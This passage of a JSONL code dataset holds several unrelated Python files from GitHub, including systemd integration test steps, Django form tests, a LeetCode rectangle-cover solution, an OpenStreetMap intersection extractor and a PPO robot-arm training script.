\"-f\", \"-qq\", \"-o=Dpkg::Use-Pty=0\", \"-o=Dpkg::Options::=--force-confold\", context.unit.binary])\n assert code == 'OK', \"unable to install with code {} and {} {}\".format(code, result, error)\n assert os.path.isfile('/etc/lake/conf.d/init.conf') is True, 'config file does not exists'\n elif operation == 'uninstalled':\n (code, result, error) = Shell.run([\"apt-get\", \"-f\", \"-qq\", \"remove\", package])\n assert code == 'OK', \"unable to uninstall with code {} and {} {}\".format(code, result, error)\n (code, result, error) = Shell.run([\"apt-get\", \"-f\", \"-qq\", \"purge\", package])\n assert code == 'OK', \"unable to purge with code {} and {} {}\".format(code, result, error)\n assert os.path.isfile('/etc/lake/conf.d/init.conf') is False, 'config file still exists'\n else:\n assert False, 'unknown operation {}'.format(operation)\n\n\n@given('systemctl contains following active units')\n@then('systemctl contains following active units')\ndef step_impl(context):\n (code, result, error) = Shell.run([\"systemctl\", \"list-units\", \"--all\", \"--no-legend\", \"--state=active\"])\n assert code == 'OK', str(result) + ' ' + str(error)\n items = []\n for row in context.table:\n items.append(row['name'] + '.' + row['type'])\n result = [item.replace('*', '').strip().split(' ')[0].strip() for item in result.split(os.linesep)]\n result = [item for item in result if item in items]\n assert len(result) > 0, 'units not found'\n\n\n@given('systemctl does not contain following active units')\n@then('systemctl does not contain following active units')\ndef step_impl(context):\n (code, result, error) = Shell.run([\"systemctl\", \"list-units\", \"--all\", \"--no-legend\", \"--state=active\"])\n assert code == 'OK', str(result) + ' ' + str(error)\n items = []\n for row in context.table:\n items.append(row['name'] + '.' + row['type'])\n result = [item.replace('*', '').strip().split(' ')[0].strip() for item in result.split(os.linesep)]\n result = [item for item in result if item in items]\n assert len(result) == 0, '{} units found'.format(result)\n\n\n@given('unit \"{unit}\" is running')\n@then('unit \"{unit}\" is running')\ndef unit_running(context, unit):\n @eventually(10)\n def wait_for_unit_state_change():\n (code, result, error) = Shell.run([\"systemctl\", \"show\", \"-p\", \"SubState\", unit])\n assert code == 'OK', str(result) + ' ' + str(error)\n assert 'SubState=running' in result, result\n\n wait_for_unit_state_change()\n\n\n@given('unit \"{unit}\" is not running')\n@then('unit \"{unit}\" is not running')\ndef unit_not_running(context, unit):\n @eventually(10)\n def wait_for_unit_state_change():\n (code, result, error) = Shell.run([\"systemctl\", \"show\", \"-p\", \"SubState\", unit])\n assert code == 'OK', str(result) + ' ' + str(error)\n assert 'SubState=dead' in result, result\n\n wait_for_unit_state_change()\n\n\n@given('{operation} unit \"{unit}\"')\n@when('{operation} unit \"{unit}\"')\ndef operation_unit(context, operation, unit):\n (code, result, error) = Shell.run([\"systemctl\", operation, unit])\n assert code == 'OK', str(result) + ' ' + str(error)\n\n\n@given('{unit} is configured with')\ndef unit_is_configured(context, unit):\n params = dict()\n for row in context.table:\n params[row['property']] = row['value']\n context.unit.configure(params)\n","repo_name":"jancajthaml-openbank/lake","sub_path":"bbtest/steps/orchestration_steps.py","file_name":"orchestration_steps.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3180661690","text":"'''\nTests for `data.models` in the `data` Django web app\n'''\n\n\nimport json\nimport os\n\nfrom django.conf import settings\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import TestCase\n\nfrom data import forms, models\n\n\nclass RetrieveDataFormTests(TestCase):\n '''\n TestCase class for the `RetrieveDataForm` form\n '''\n\n fixtures = [\n './doc/instanceserializertests.xml'\n ]\n\n def test_form_raises_error_data_request_not_json(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should raise an error if the data_request data is\n invalid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Film\",\n \"Book\": {...},\n \"Person\": {...},\n \"Review\": {...},\n \"Country\": {...}\n }\n\n If the data attached to `data_request` field is not json, raise an error\n '''\n\n # Instantiate the form\n form = forms.RetrieveDataForm({'data_request': 'hello!'})\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['data_request'], ['Expecting value: line 1 column 1 (char 0)']\n )\n\n def test_form_raises_error_data_request_no_uoa_key(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should raise an error if the data_request data is\n invalid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Film\",\n \"Book\": {...},\n \"Person\": {...},\n \"Review\": {...},\n \"Country\": {...}\n }\n\n If the data attached to `data_request` field does not contain the \"UOA\" key, raise an error\n '''\n\n # Instantiate the form with some valid json, but without \"UOA\" key\n form = forms.RetrieveDataForm(\n {'data_request': '{\"Year\": \"1\", \"Age\": \"2\", \"Name\": \"2\", \"Movie\": \"3\"}'}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['data_request'], ['Input json doesn''t contain a \"UOA\" key.'] # pylint: disable=implicit-str-concat\n )\n\n def test_form_raises_error_data_request_uoa_value_no_item_exists(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should raise an error if the data_request data is\n invalid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Film\",\n \"Book\": {...},\n \"Person\": {...},\n \"Review\": {...},\n \"Country\": {...}\n }\n\n If the data attached to `data_request` field contains the \"UOA\" key, but the value\n associated with this key is not a valid `Item` entry, raise an error\n '''\n\n # Instantiate the form with some valid json, with \"UOA\" key but an invalid `Item` value\n form = forms.RetrieveDataForm(\n {'data_request': '{\"UOA\": \"Junk\"}'}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['data_request'], ['\"Junk\" Item does not exist.']\n )\n\n def test_form_raises_error_data_request_book_value_not_a_dict(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should raise an error if the data_request data is\n invalid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Film\",\n \"Book\": {...},\n \"Person\": {...},\n \"Review\": {...},\n \"Country\": {...}\n }\n\n If the data attached to `data_request` field contains a valid \"UOA\" key value pair, but\n the other key value pairs do not have a dictionary in their values, raise an error\n '''\n\n # Instantiate the form with some valid json, with valid \"UOA\" key and valid but invalid\n # \"Book\" value (not a dictionary)\n form = forms.RetrieveDataForm(\n {'data_request': '{\"UOA\": \"Film\", \"Book\": \"Junk\"}'}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['data_request'], ['\"Book\" value is not a dictionary.']\n )\n\n def test_form_raises_error_data_request_book_value_dict_bad_keys(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should raise an error if the data_request data is\n invalid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Film\",\n \"Book\": {...},\n \"Person\": {...},\n \"Review\": {...},\n \"Country\": {...}\n }\n\n If the data attached to `data_request` field contains a valid \"UOA\" key value pair, but\n the other key value pairs do not have a dictionary in their values, raise an error\n '''\n\n # Instantiate the form with some valid json, with valid \"UOA\" key and valid but invalid\n # \"Book\" value (not a dictionary)\n form = forms.RetrieveDataForm(\n {'data_request': '{\"UOA\": \"Film\", \"Book\": {\"Junk\": \"asd\", \"silly\": \"2\"}}'}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['data_request'],\n ['\"Book\" value dictionary doesn''t contain \"ATTR\", \"MEAS\" or \"LINK\" key(s).'] # pylint: disable=implicit-str-concat\n )\n\n def test_form_is_valid_true_data_request_valid_data(self):\n '''\n `RetrieveDataForm` `.is_valid()` method should return `True` if the submitted data is\n valid. `data_request` data should be in the form e.g.:\n\n {\n \"UOA\": \"Book\",\n \"Book\": {\n \"ATTR\": [\"title\", \"category\"],\n \"MEAS\": [],\n \"LINK\": [\"(Book)<-[WRITTEN_BY]-(Person)\",\"(Book)<-[ABOUT]-(Review)\"]\n },\n \"Person\": {\n \"ATTR\": [\"name\"],\n \"MEAS\": [\"date_of_birth\"],\n \"LINK\": [\"(Person)-[BORN]->(Country)\"]\n },\n \"Review\": {\n \"ATTR\": [],\n \"MEAS\": [\"AVG(score)\"]\n },\n \"Country\": {\n \"ATTR\": [\"name\"]\n }\n }\n '''\n\n # Create a Book `Item` entry to satisfy code\n models.Item.objects.create(name='Book')\n\n # Load the data_request json defined at\n # https://www.notion.so/To-do-list-c7fa657a21524f73b91c966e6740b759\n with open(os.path.join(settings.BASE_DIR, 'doc', 'data_request.json')) as f: # pylint: disable=invalid-name\n data_request = json.load(f)\n\n # Instantiate the form with some valid json, with valid \"UOA\" key and valid but invalid\n # \"Book\" value (not a dictionary)\n form = forms.RetrieveDataForm({'data_request': json.dumps(data_request)})\n\n # Confirm data is valid\n self.assertTrue(form.is_valid())\n\n\nclass UploadCsvFileFormTests(TestCase):\n '''\n TestCase class for the `UploadCsvFileForm` form\n '''\n\n def setUp(self):\n '''\n Common setup for use across the test methods\n '''\n\n # request.POST data needs to be an empty dictionary to satisfy the form structure\n self.post_data = {}\n\n # Create some empty file to test raising errors\n self.empty_csv_file = {'upload_file': SimpleUploadedFile('instances.csv', bytes(2))}\n\n def test_form_init_saves_upload_file_to_tmp(self):\n '''\n `UploadCsvFileForm` `__init__()` method should save a xml file in `request.FILES` to a\n temporary location for use in `.clean()` and `.save()` methods\n\n `__init__()` method should save the file to a path defined by `settings.TEMP_FILES_DIR`\n and the file name, and store the path to `upload_file_path`\n '''\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(self.post_data, self.empty_csv_file)\n\n # Confirm the file has been saved to the `settings.TEMP_FILES_DIR` location\n self.assertTrue(os.path.isfile(form.upload_file_path))\n\n def test_form_del_removes_file_from_temp(self):\n '''\n `UploadCsvFileForm` `__del__()` method should remove a file saved to the `upload_file_path`\n location when the class instance is destroyed\n '''\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(self.post_data, self.empty_csv_file)\n\n upload_file_path = form.upload_file_path\n\n # Delete the form, which should call the `__del__()` method\n del form\n\n # Confirm the file has been removed from the `upload_file_path` location\n self.assertFalse(os.path.isfile(upload_file_path))\n\n def test_form_raises_error_upload_file_not_csv(self):\n '''\n `UploadCsvFileForm` `.is_valid()` method should raise an error if the uploaded file is\n invalid\n\n If the file does not have a .csv extension, an error should be raised attached to the\n `upload_file` field\n '''\n\n file_name = 'instances.xml'\n\n form = forms.UploadCsvFileForm(\n self.post_data, {'upload_file': SimpleUploadedFile(file_name, bytes(2))}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['upload_file'], ['\"' + file_name + '\" is not a valid csv.']\n )\n\n def test_form_raises_error_abm_match_data_not_json(self):\n '''\n `UploadCsvFileForm` `.is_valid()` method should raise an error if the abm match data is\n invalid. `abm_match` data should be in the form e.g.:\n\n {'Year': '1', 'Age': '2', 'Name': '2', 'Movie': '3'}\n\n If the data attached to `abm_match` field is not json, raise an error\n '''\n\n # Instantiate the form\n form = forms.UploadCsvFileForm({'abm_match_json': 'hello!'}, self.empty_csv_file)\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n self.assertEqual(\n form.errors['abm_match_json'], ['Expecting value: line 1 column 1 (char 0)']\n )\n\n def test_form_raises_error_abm_match_data_no_abm_entry(self):\n '''\n `UploadCsvFileForm` `.is_valid()` method should raise an error if the abm match data is\n invalid. `abm_match` data should be in the form e.g.:\n\n {'Year': '1', 'Age': '2', 'Name': '2', 'Movie': '3'}\n\n If the data references `AbstractModel` ids that do not exist, an error should be raised\n '''\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(\n {'abm_match_json': '{\"Year\": \"1\", \"Age\": \"2\", \"Name\": \"2\", \"Movie\": \"3\"}'},\n self.empty_csv_file\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n # Data loaded by fixtures should contain a single `AbstractModel` entry only with id=1, so\n # the additional references to ids should raise an error\n self.assertEqual(\n form.errors['abm_match_json'],\n ['Data contains references to AbstractModel entries that do not exist.']\n )\n\n def test_form_raises_error_abm_match_data_csv_column_name_not_found(self):\n '''\n `UploadCsvFileForm` `.is_valid()` method should raise an error if the key strings in the\n `abm_match_json` don't agree with the column names in the input csv.\n\n If the input csv does not have a column name that is a key in the `abm_match_json`, raise\n error attached to the `upload_file` field\n '''\n\n # Create an `AbstractModel` entry in the db to use as an id\n abm = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='blah')\n )\n\n # Open the test file and attach it as an uploaded file\n upload_file = open(\n os.path.join(settings.BASE_DIR, 'doc', 'test_data', 'column_name_error.csv'),\n 'rb'\n )\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(\n {'abm_match_json': json.dumps({'Blah': abm.id})},\n {'upload_file': SimpleUploadedFile(upload_file.name, upload_file.read())}\n )\n\n # Confirm calling the `.is_valid()` method raises the correct error\n form.is_valid()\n\n # Uploaded csv does not have a column in it called \"blah\", so should raise an error\n self.assertEqual(\n form.errors['upload_file'],\n ['Column name \"Blah\" does not exist in \"column_name_error.csv\".']\n )\n\n def test_form_is_valid_true(self):\n '''\n `UploadCsvFileForm` `.is_valid()` method should return `true` if all the input data is\n right.\n '''\n\n # Create an `AbstractModel` entry in the db to use as an id\n abm = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='blah')\n )\n\n # Open the test file and attach it as an uploaded file\n upload_file = open(\n os.path.join(settings.BASE_DIR, 'doc', 'test_data', 'column_name_blah.csv'),\n 'rb'\n )\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(\n {'abm_match_json': json.dumps({'Blah': abm.id})},\n {'upload_file': SimpleUploadedFile(upload_file.name, upload_file.read())}\n )\n\n # Input csv has a column named \"Blah\" so form should validate this data as\n # `is_valid` == `True`\n self.assertTrue(form.is_valid())\n\n def test_form_save_creates_instances_is_valid_true(self):\n '''\n `UploadCsvFileForm` `.save()` method should create new `Instance` entries and return them\n if all the input data is right.\n\n Input data should return `is_valid()` == `True`\n '''\n\n # Create some valid `AbstractModel` entries\n award = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='award')\n )\n person = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='person')\n )\n film = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='film')\n )\n\n # Open the test file and attach it as an uploaded file\n upload_file = open(\n os.path.join(settings.BASE_DIR, 'doc', 'test_data', 'oscar_winners.csv'),\n 'rb'\n )\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(\n {'abm_match_json': json.dumps(\n {'Year': award.id, 'Age': person.id, 'Name': person.id, 'Movie': film.id}\n )},\n {'upload_file': SimpleUploadedFile(upload_file.name, upload_file.read())}\n )\n\n # Input csv has a column named \"Blah\" so form should validate this data as\n # `is_valid` == `True`\n self.assertTrue(form.is_valid())\n\n def test_form_save_creates_instances(self):\n '''\n `UploadCsvFileForm` `.save()` method should create new `Instance` entries and return them\n if all the input data is right.\n\n Data contained within `oscar_winners.csv` should be saved to new `Instance` entries with\n relationships to valid `AbstractModel` entries\n\n 6 entries should be created from this data\n '''\n\n # Create some valid `AbstractModel` entries\n award = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='award')\n )\n person = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='person')\n )\n film = models.AbstractModel.objects.create(\n master_item=models.Item.objects.create(name='film')\n )\n\n # Open the test file and attach it as an uploaded file\n upload_file = open(\n os.path.join(settings.BASE_DIR, 'doc', 'test_data', 'oscar_winners.csv'),\n 'rb'\n )\n\n # Instantiate the form\n form = forms.UploadCsvFileForm(\n {'abm_match_json': json.dumps(\n {'Year': award.id, 'Age': person.id, 'Name': person.id, 'Movie': film.id}\n )},\n {'upload_file': SimpleUploadedFile(upload_file.name, upload_file.read())}\n )\n\n # Call `is_valid()` first then `save()`\n form.is_valid()\n form.save()\n\n # Confirm 6 `Instance` entries have been created\n self.assertEqual(models.Instance.objects.all().count(), 6)\n","repo_name":"WeakLemonDrink/nrrt_project","sub_path":"data/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":16625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24211409870","text":"#\n# [391] Perfect Rectangle\n#\n# https://leetcode.com/problems/perfect-rectangle\n#\n# algorithms\n# Hard (26.98%)\n# Total Accepted: 11.9K\n# Total Submissions: 44K\n# Testcase Example: '[[1,1,3,3],[3,1,4,2],[3,2,4,4],[1,3,2,4],[2,3,3,4]]'\n#\n# \n# Given N axis-aligned rectangles where N > 0, determine if they all together\n# form an exact cover of a rectangular region.\n# \n# \n# \n# Each rectangle is represented as a bottom-left point and a top-right point.\n# For example, a unit square is represented as [1,1,2,2]. (coordinate of\n# bottom-left point is (1, 1) and top-right point is (2, 2)).\n# \n# \n# \n# Example 1:\n# \n# rectangles = [\n# ⁠ [1,1,3,3],\n# ⁠ [3,1,4,2],\n# ⁠ [3,2,4,4],\n# ⁠ [1,3,2,4],\n# ⁠ [2,3,3,4]\n# ]\n# \n# Return true. All 5 rectangles together form an exact cover of a rectangular\n# region.\n# \n# \n# \n# \n# \n# \n# Example 2:\n# \n# rectangles = [\n# ⁠ [1,1,2,3],\n# ⁠ [1,3,2,4],\n# ⁠ [3,1,4,2],\n# ⁠ [3,2,4,4]\n# ]\n# \n# Return false. Because there is a gap between the two rectangular\n# regions.\n# \n# \n# \n# \n# \n# \n# Example 3:\n# \n# rectangles = [\n# ⁠ [1,1,3,3],\n# ⁠ [3,1,4,2],\n# ⁠ [1,3,2,4],\n# ⁠ [3,2,4,4]\n# ]\n# \n# Return false. Because there is a gap in the top center.\n# \n# \n# \n# \n# \n# \n# Example 4:\n# \n# rectangles = [\n# ⁠ [1,1,3,3],\n# ⁠ [3,1,4,2],\n# ⁠ [1,3,2,4],\n# ⁠ [2,2,4,4]\n# ]\n# \n# Return false. Because two of the rectangles overlap with each other.\n# \n# \n# \n# \n#\nclass Solution(object):\n def isRectangleCover(self, rectangles):\n \"\"\"\n :type rectangles: List[List[int]]\n :rtype: bool\n \"\"\"\n x1 = y1 = float('inf')\n x2 = y2 = float('-inf')\n corners = set()\n area = 0\n for rec in rectangles:\n x1 = min(x1, rec[0])\n y1 = min(y1, rec[1])\n x2 = max(x2, rec[2])\n y2 = max(y2, rec[3])\n\n area += (rec[2]-rec[0])*(rec[3]-rec[1])\n\n # get 4 corners\n c1 = (rec[0], rec[1])\n c2 = (rec[0], rec[3])\n c3 = (rec[2], rec[1])\n c4 = (rec[2], rec[3])\n c = [c1, c2, c3, c4]\n\n for corner in c:\n if corner in corners:\n corners.remove(corner)\n else:\n corners.add(corner)\n\n if len(corners) != 4: return False\n finalCorners = [(x1,y1), (x1,y2), (x2,y1), (x2,y2)]\n for f in finalCorners:\n if f not in corners:\n return False\n return area == (x2-x1)*(y2-y1)\n \n","repo_name":"Iverance/leetcode","sub_path":"391.perfect-rectangle.py","file_name":"391.perfect-rectangle.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15244534361","text":"# By using list comprehension, please write a program to print the list\n# after removing numbers which are divisible by 5 and 7 in [12,24,35,70,88,120,155].\n\n# Hints\n# Use list comprehension to delete a bunch of element from a list.\n\n# Code\nlst = [12, 24, 35, 70, 88, 120, 155]\nlst = [x for x in lst if x % 35 != 0]\nprint(lst)\n\n# Alternative\nli = [12, 24, 35, 70, 88, 120, 155]\nlst = list(filter(lambda x: x % 35 != 0, li))\nprint(lst)\n","repo_name":"nandinichhajed/Python-Codes","sub_path":"Day-20/81.List after removing multiple of 5 & 7.py","file_name":"81.List after removing multiple of 5 & 7.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"918309996","text":"\"\"\"\n Credit goes to https://stackoverflow.com/users/684592/kotaro\n https://stackoverflow.com/questions/14716497/how-can-i-find-a-list-of-street-intersections-from-openstreetmap-data?rq=1\n\"\"\"\nimport os\nimport sys\nimport csv\nimport itertools\n\nfrom ott.utils import file_utils\n\ntry:\n from xml.etree import cElementTree as ET\nexcept ImportError as e:\n from xml.etree import ElementTree as ET\n\nimport logging\nlog = logging.getLogger(__file__)\n\n\ntot_proc = 0\nnum_proc = 0\n\n\ndef extract_intersections(osm):\n \"\"\"\n This method reads the passed osm file (xml) and finds intersections (nodes that are shared by two or more roads)\n :param osm: An osm file or a string from get_osm()\n \"\"\"\n ret_val = {}\n\n def get_names_from_way_list(way_list):\n # import pdb; pdb.set_trace()\n global num_proc\n global tot_proc\n ret_val = {}\n try:\n sys.stderr.write('.')\n for w in way_list:\n num_proc += 1\n tot_proc += 1\n for c in w:\n if c.tag == 'tag' and 'k' in c.attrib and (c.attrib['k'] == 'name' or c.attrib['k'] == 'alt_name'):\n if 'v' in c.attrib and len(c.attrib['v']) > 0:\n ret_val[c.attrib['v']] = c.attrib['v']\n sys.stderr.write('.')\n except Exception as e:\n log.warning(e)\n return ret_val\n\n # step 1: parse either XML string or file\n if '<' in osm and '>' in osm:\n tree = ET.fromstring(osm)\n children = tree.getchildren()\n else:\n tree = ET.parse(osm)\n root = tree.getroot()\n children = root.getchildren()\n\n log.info(\"number of osm nodes read in: {}\".format(len(children)))\n\n counter = {}\n road_ways = {}\n for i, child in enumerate(children):\n if child.tag == 'way':\n is_road = False\n\n # TODO: make road types configurable ? , 'service'\n road_types = ('primary', 'secondary', 'residential', 'tertiary', 'unclassified')\n for item in child:\n if item.tag == 'tag' and item.attrib['k'] == 'highway' and item.attrib['v'] in road_types:\n is_road = True\n break\n\n if is_road:\n for item in child:\n if item.tag == 'nd':\n nd_ref = item.attrib['ref']\n if nd_ref not in counter:\n counter[nd_ref] = 0\n counter[nd_ref] += 1\n if nd_ref not in road_ways:\n road_ways[nd_ref] = []\n road_ways[nd_ref].append(child)\n\n if i % 100000 == 0:\n sys.stderr.write('.')\n\n # Find nodes that are shared with more than one way, which might correspond to intersections\n #intersections = filter(lambda x: counter[x] > 1, counter)\n #sys.stderr.write('INtERSECTIONS READ: {}\\n'.format(len(intersections)))\n\n # import pdb; pdb.set_trace()\n intersection_nodes = []\n for i, child in enumerate(children):\n if child.tag == 'node':\n z = child.attrib['id']\n n = counter.get(z)\n if n and n > 1:\n intersection_nodes.append(child)\n if i % 5000 == 0:\n sys.stderr.write('.')\n\n log.info(\"Number of RAW nodes: {}\".format(len(intersection_nodes)))\n for i, n in enumerate(intersection_nodes):\n z = n.attrib['id']\n names_d = get_names_from_way_list(road_ways[z])\n names = names_d.values()\n if len(names) < 2:\n # print(names)\n continue\n\n coordinate = n.attrib['lat'] + ',' + n.attrib['lon']\n two_names_list = itertools.combinations(names, 2)\n for t in two_names_list:\n ret_val[t] = coordinate\n if i % 5000 == 0:\n sys.stderr.write('.')\n\n log.info(\"Number of NAMED (output) intersection nodes: {}\".format(len(ret_val)))\n return ret_val\n\n\ndef intersection_tuple_to_record(names_tuple, coord_string, separator='&', def_val={}):\n \"\"\"\n turns an intersection record created above in extract_intersections() into a dict\n\n names_tuple = ('SW Tyrol St', 'SW 18th Pl') --- this is the i from looping intersections\n coord_string = '45.487563,-122.6989328' --- this is the intersections[i]\n \"\"\"\n ret_val = def_val\n try:\n ret_val['name'] = \"{} {} {}\".format(names_tuple[0], separator, names_tuple[1])\n ret_val['street'] = names_tuple[0]\n ret_val['cross_street'] = names_tuple[1]\n ll = coord_string.split(',')\n ret_val['lon'] = float(ll[1])\n ret_val['lat'] = float(ll[0])\n valid = True\n except Exception as e:\n valid = False\n return ret_val, valid\n\n\ndef to_csv(intersections, csv_file_path, source='transit'):\n \"\"\"\n turn list returned by extract_intersections() into a .csv file\n note: the output format follows pelias transit .csv format (Oct 2018)\n format may change for generic pelias .csv reader\n \"\"\"\n with open(csv_file_path, mode='w') as csv_file:\n fieldnames = ['id', 'name', 'street', 'cross_street', 'address', 'zipcode', 'lon', 'lat', 'layer_id', 'source']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n for i, names in enumerate(intersections):\n rec = {'id': i+1, 'layer_id': 'intersection', 'source': source}\n rec, is_valid = intersection_tuple_to_record(names, intersections[names], def_val=rec)\n if is_valid:\n writer.writerow(rec)\n\n\ndef osm_to_intersections(osm_file, csv_output_path):\n \"\"\" the 'main' routine to collect intersection from input .osm file and output to a csv file \"\"\"\n intersections = extract_intersections(osm_file)\n if csv_output_path:\n to_csv(intersections, csv_output_path)\n return intersections\n\n\ndef main():\n def get_test_data():\n dir = file_utils.get_file_dir(__file__)\n dir = file_utils.get_parent_dir(dir)\n file = os.path.join(dir, 'tests', 'data', 'portland.osm')\n return file\n\n def cmd_parser(name='bin/osm-intersetions'):\n from ott.utils.parse.cmdline import osm_cmdline\n parser = osm_cmdline.osm_parser(prog_name=name, osm_required=False)\n parser.add_argument(\n '--pelias',\n '--csv',\n '-c',\n required=False,\n help=\".csv file output (Pelias format)\"\n )\n return parser.parse_args()\n\n p = cmd_parser()\n osm_file = p.osm\n if osm_file is None:\n osm_file = get_test_data()\n\n intersections = osm_to_intersections(osm_file, p.pelias)\n if p.pelias is None:\n for i in intersections:\n #import pdb; pdb.set_trace()\n print(i, intersections[i])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"OpenTransitTools/osm","sub_path":"ott/osm/intersections/osm_to_intersections.py","file_name":"osm_to_intersections.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15145701074","text":"import array\nimport math\n\ndef print_arr():\n print(\"The array is \",end=\"\")\n for i in arr:\n print(i,end=\" \")\n print()\n\narr = array.array('i',[1,2,3,4,5,6])\nn = len(arr)\nd = int(input(\"enter the number of elements to be rotated by left:\"))%n\nprint_arr()\nsets = math.gcd(n,d)\nfor i in range(0,sets):\n temp = arr[i]\n j = i\n while True:\n k = (j+d)%n\n if k==i:\n break\n arr[j ] = arr[k]\n j = k\n arr[j] = temp\nprint_arr()\n","repo_name":"tech-sap/Learning-DataStructures-with-Python","sub_path":"Arrays/array_rotation_Juggling_alg.py","file_name":"array_rotation_Juggling_alg.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8109992544","text":"from tf2rl.algos.ppo import PPO\nfrom tf2rl.experiments.on_policy_trainer import OnPolicyTrainer\nfrom tf2rl.envs.utils import is_discrete, get_act_dim\nfrom arm_env import ArmEnvironment\nimport rospy\nimport numpy as np\n\nnormalise_obs = False\nstatic_goal = True\ntesting = True\nslow_step = True\nnum_tests = 50\ngentests = False\n\n\nrospy.init_node(\"RL_agent\")\nparser = OnPolicyTrainer.get_argument()\nparser = PPO.get_argument(parser)\n\nslow_suffix = \"_slow\" if(slow_step) else \"\"\n#parser.set_defaults(max_steps=5)\nif(static_goal and normalise_obs):\n parser.set_defaults(model_dir='model_PPO_static_normed'+slow_suffix)\n parser.set_defaults(logdir='results/PPO_static_normed'+slow_suffix)\nelif(static_goal):\n parser.set_defaults(model_dir='model_PPO_static'+slow_suffix)\n parser.set_defaults(logdir='results/PPO_static'+slow_suffix)\nelif(normalise_obs):\n parser.set_defaults(model_dir='model_PPO_normed'+slow_suffix)\n parser.set_defaults(logdir='results/PPO_normed'+slow_suffix)\nelse:\n parser.set_defaults(model_dir='model_PPO'+slow_suffix)\n parser.set_defaults(logdir='results/PPO'+slow_suffix)\nparser.set_defaults(normalise_obs=normalise_obs)\nparser.set_defaults(save_model_interval=100)\nparser.set_defaults(save_summary_interval=100)\nparser.set_defaults(test_interval=500)\nif(testing):\n parser.set_defaults(test_episodes=num_tests)\n\n#parser.set_defaults(horizon=1024)\n#parser.set_defaults(batch_size=512)\nparser.set_defaults(gpu=-1)\nparser.set_defaults(max_steps=100000000)\nparser.set_defaults(n_warmup=0)\n#parser.set_defaults(enable_gae=True)\nargs = parser.parse_args()\n\nenv = ArmEnvironment(static_goal=static_goal, slow_step=slow_step, larger_radius= not static_goal, )\ntest_env = ArmEnvironment(static_goal=static_goal, slow_step=slow_step, larger_radius= not static_goal, testing=testing, gentests=gentests)\n\n\npolicy = PPO(\n state_shape=env.observation_space.shape,\n action_dim=get_act_dim(env.action_space),\n is_discrete=is_discrete(env.action_space),\n max_action=None if is_discrete(\n env.action_space) else env.action_space.high[0],\n batch_size=args.batch_size,\n actor_units=(64, 64),\n critic_units=(64, 64),\n n_epoch=10,\n lr_actor=3e-4,\n lr_critic=3e-4,\n hidden_activation_actor=\"tanh\",\n hidden_activation_critic=\"tanh\",\n discount=0.99,\n lam=0.95,\n entropy_coef=0.001,\n horizon=args.horizon,\n normalize_adv=args.normalize_adv,\n enable_gae=args.enable_gae,\n gpu=args.gpu)\ntrainer = OnPolicyTrainer(policy, env, args, test_env=test_env)\n\nif(testing):\n trainer.evaluate_policy(num_tests)\n print(\"Arrived \"+str(test_env.arrived_counter)+\" times out of \"+str(num_tests)+\" tests.\")\nelse:\n trainer()","repo_name":"dVeon-loch/ReinforcementLearning_Arm","sub_path":"src/arm_bringup/scripts/ppo_train_test.py","file_name":"ppo_train_test.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"36779724883","text":"import threading\nimport time\n\n\nclass MyThread(threading.Thread):\n def run(self):\n # if _lock.acquire():\n with _lock:\n print(self.name)\n time.sleep(2)\n # _lock.release()\n\n\nif __name__ == '__main__':\n _lock = threading.Semaphore(5) # 设置信号量对象(信号量主要是用来维持有限的资源,使得在一定时间使用该资源的线程只有指定的数量.)\n 